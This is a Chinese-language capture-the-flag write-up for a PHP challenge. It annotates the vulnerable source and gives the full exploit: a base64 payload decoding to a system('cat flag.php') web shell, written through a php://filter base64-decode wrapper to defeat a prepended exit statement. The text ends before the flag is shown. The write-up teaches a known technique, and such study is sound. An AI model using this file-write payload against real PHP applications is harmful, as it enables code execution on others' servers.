1、题目:
2、传送门:http://119.23.73.3:5003/
代码:
<?php
show_source(__FILE__);
$c="<?php exit;?>"; //$c=一个退出的php代码
@$c.=$_POST['c']; //.=详解见下方:$c=$c$_POST['c']->
//$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
@$filename=$_POST['file'];
if(!isset($filename)) //如果$filename不存在,执行{}里的
{
file_put_contents('tmp.php', ''); //将空写入tmp.php
}
@file_put_contents($filename, $c); //将$c写入$filename
include('tmp.php'); //包含tmp.php文件
?>
注:
.=详解
$a.='bbb'
如果$a的值是字符串a的话
那$a的值应该是'abbb',将a加到bbb的左边
同理的操作符还有+=、-=、*=、/=
file_put_contents() 函数把一个字符串写入文件中
file_put_contents(file,data,mode,context)
3、代码分析:
-
通过上传字符串变量c,变量c连接
<?php exit;?>
破坏掉语句结构;同时变量c也需要写入到变量filename这个文件中通过执行获得flag。 -
这里就需要用到php://filter伪协议流来进行绕过。使用base64解码的一个漏洞(base64解码不能解码
<、?、空格、?、;、>
等这几个字符),然后就只会解码phpexit,但base64解码是以4个为一组进行解码的,phpexit只有7个,所以需要添加一个字符构成八个字符,才能正常解码,这里随便一个字符就行,然后再连接这里我们需要执行获取flag的命令,所以$c的pyaload为:$c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
(a后面的数值进行base64解码为<?php system('cat flag.php');?>
base64加密之后的字符),最后$c的值为:<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
-
然后就是利用php://filter伪协议了,file的payload为:
file=php://filter/write=convert.base64-decode/resource=tmp.php
-
最终的payload为:
c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php
-
Payload带入源码:
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c']; //步骤见下一行注释
//$c=$c$_POST['c']->$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
@$filename=$_POST['file'];
//$filenmae=php://filter/write=convert.base64-decode/resource=tmp.php
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
//$filename=$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
include('tmp.php');
?>
使用file=php://filter/write=convert.base64-decode/resource=tmp.php
时,file的值<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
进行base64解码时,删除<、?、空格、?、;、>
还剩52个字符,是phpexitaPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
,正好可以除以4,最后base64解码后为:¦{Ú<?php system('cat flag.php');?>
,现在tmp.php中是¦{Ú<?php system('cat flag.php');?>
,所以可以执行里面的代码,拿到flag
4、拿取flag
最查看源码,得到flag: